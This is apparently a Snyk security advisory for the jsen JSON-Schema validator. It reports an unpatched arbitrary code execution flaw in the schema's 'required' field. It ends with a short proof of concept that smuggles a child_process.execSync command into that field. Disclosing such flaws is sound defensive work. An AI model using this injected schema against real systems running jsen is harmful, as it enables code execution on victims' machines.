Arbitrary Code Execution Affecting jsen Open this link in a new tab package, versions *


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Privileges Required

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JS-JSEN-1014670

  • published

    23 Nov 2020

  • disclosed

    1 Oct 2020

  • credit

    Alessio Della Libera (d3lla)

How to fix?

There is no fixed version for jsen.

Overview

jsen is a JSON-Schema validator built for speed

Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.

In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');

let schema = JSON.parse( { "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] });

const validate = jsen(schema); validate({});

References